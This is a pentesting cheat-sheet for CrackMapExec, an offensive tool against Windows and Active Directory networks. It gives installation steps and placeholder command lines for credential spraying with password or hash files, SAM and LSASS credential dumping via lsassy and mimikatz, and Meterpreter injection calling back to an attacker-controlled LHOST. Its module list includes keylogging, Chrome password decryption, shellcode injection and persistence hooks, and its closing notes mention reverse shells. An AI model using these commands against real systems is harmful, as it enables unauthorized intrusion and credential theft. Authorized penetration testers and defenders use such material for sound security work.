CrackMapExec

CrackMapExec is a "Swiss army knife for pentesting Windows / Active Directory environments" that wraps around multiples Impacket modules.

CrackMapExec can be used to test credentials and execute commands through SMB, WinRM, MSSQL, SSH, HTTP services.

Over SMB, CrackMapExec supports different command execution methods:

• (Default) wmiexec executes commands via WMI

• smbexec executes commands by creating and running a service, similarly to the PsExec utility

• atexec executes commands by remotely scheduling a task with through the Windows task scheduler

• mmcexec executes commands over the MMC20.Application DCOM object

CrackMapExec additionally supports authentication with Kerberos tickets (specified in the KRB5CCNAME environment variable) on Linux operating systems.

CrackMapExec installation

CrackMapExec requires various Python dependencies (sometimes in specific version), making its installation somewhat challenging at times.

CrackMapExec pre-compiled binaries for Linux and Windows (that still require Python3 to be installed on the system) can be downloaded on the CrackMapExec's GitHub repository's "Actions". Fully standalone binaries for Linux and Windows can be retrieved in the OffensivePythonPipeline.

For more information on CrackMapExec's installation refer to the official documentation.

# As of March 2021, the crackmapexec package of the Kali Linux distribution is up to date and can be used to easily install CrackMapExec.
apt install crackmapexec

# Installation using Docker.
docker pull byt3bl33d3r/crackmapexec
docker run byt3bl33d3r/crackmapexec:latest [...]

CrackMapExec usage

# As of December 2018, crackmapexec does not provides an option to output to a file.
# The tee utility can be used to both display and store to a file the crackmapexec standard output.
# crackmapexec <[...]> | tee <OUTPUT_FILE>

# <TARGET | TARGETS> - can be IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containing a list of targets.
crackmapexec <smb | winrm | ssh | mssql | http> <TARGET | TARGETS> [-M <MODULE> [-o <MODULE_OPTION>]] (-d <DOMAIN> | --local-auth) -u <USERNAME | USERNAMES_FILE> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>) [--sam] [-x <COMMAND> | -X <PS_COMMAND>]

# Kerberos authentication on Linux systems. The targets must be fully qualified hostnames (and not IP addresses) for the Kerberos authentication to work.
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
crackmapexec smb <TARGET | TARGETS> --kerberos [...]

Additionally, CrackMapExec includes multiples modules that can be used for post-exploitation:

crackmapexec smb --list-modules

[*] Get-ComputerDetails       Enumerates sysinfo
[*] bh_owned                  Set pwned computer as owned in Bloodhound
[*] bloodhound                Executes the BloodHound recon script on the target and retreives the results to the attackers' machine
[*] empire_exec               Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[*] enum_avproducts           Gathers information on all endpoint protection solutions installed on the the remote host(s) via WMI
[*] enum_chrome               Decrypts saved Chrome passwords using Get-ChromeDump
[*] enum_dns                  Uses WMI to dump DNS from an AD DNS Server
[*] get_keystrokes            Logs keys pressed, time and the active window
[*] get_netdomaincontroller   Enumerates all domain controllers
[*] get_netrdpsession         Enumerates all active RDP sessions
[*] get_timedscreenshot       Takes screenshots at a regular interval
[*] gpp_autologin             Searches the domain controller for registry.xml to find autologon information and returns the username and password.
[*] gpp_password              Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
[*] invoke_sessiongopher      Digs up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher
[*] invoke_vnc                Injects a VNC client in memory
[*] lsassy                    Dump lsass and parse the result remotely with lsassy
[*] met_inject                Downloads the Meterpreter stager and injects it into memory
[*] mimikatz                  Dumps all logon credentials from memory
[*] mimikatz_enum_chrome      Decrypts saved Chrome passwords using Mimikatz
[*] mimikatz_enum_vault_creds Decrypts saved credentials in Windows Vault/Credential Manager
[*] mimikittenz               Executes Mimikittenz
[*] multirdp                  Patches terminal services in memory to allow multiple RDP users
[*] netripper                 Capture's credentials by using API hooking
[*] pe_inject                 Downloads the specified DLL/EXE and injects it into memory
[*] rdp                       Enables/Disables RDP
[*] rid_hijack                Executes the RID hijacking persistence hook.
[*] scuffy                    Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares
[*] shellcode_inject          Downloads the specified raw shellcode and injects it into memory
[*] slinky                    Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions
[*] spider_plus               List files on the target server (excluding `DIR` directories and `EXT` extensions) and save them to the `OUTPUT` directory if they are smaller then `SIZE`
[*] test_connection           Pings a host
[*] tokens                    Enumerates available tokens
[*] uac                       Checks UAC status
[*] wdigest                   Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1
[*] web_delivery              Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
[*] wireless                  Get key of all wireless interfaces

CrackMapExec modules

CrackMapExec notable modules usage:

# Authentication with a 1:1 mapping between the username and password / hashes files.
crackmapexec smb <DC_IP | TARGET> --continue-on-success --no-bruteforce -d '<DOMAIN>' -u <USERNAME_FILE> [-p <PASSWORD_FILE> | -H <HASH_FILE>

# SAM dump.
crackmapexec smb <TARGET | TARGETS> --sam (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)

# LSASS dump using lsassy.
crackmapexec smb <TARGET | TARGETS> -M lsassy (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)
# Outdated LSASS dump technique using mimikatz that is flagged by most antivirus products.
crackmapexec smb <TARGET | TARGETS> -M mimikatz (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)

# Meterpreter.
# msf > use multi/handler
# msf exploit(handler) > set payload windows/meterpreter/reverse_https
crackmapexec smb <TARGET | TARGETS> -M met_inject -o LHOST=<HOST> LPORT=<PORT> -d <DOMAIN> -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)

For more information on how to remotely extract credentials from the SAM registry hive and the LSASS process, refer to the [Windows] Post exploitation note.

Note that:

• The --lsa option dumps LSA secrets which can't be used in Pass-the-Hash attack and are harder to crack.

• The <TARGET> and <MODULE> should be specified before the credentials as a CrackMapExec bug could skip the targets / module otherwise.

• If the targeted host is unreachable, CrackMapExec may exit with out returning any error message.

• In case the metinject fails, a local administrator can be added for RDP access or a powershell reverse shell injected in memory instead (refer to the [General] Shells - PowerShell note).

• If a permission denied error is raised upon first execution of crackmapexec on a Linux system, necessary rights to create new files in the user's HOME folder may be missing. A temporary alternative HOME folder can be specified for crackmapexec execution: HOME=<PATH> crackmapexec [...].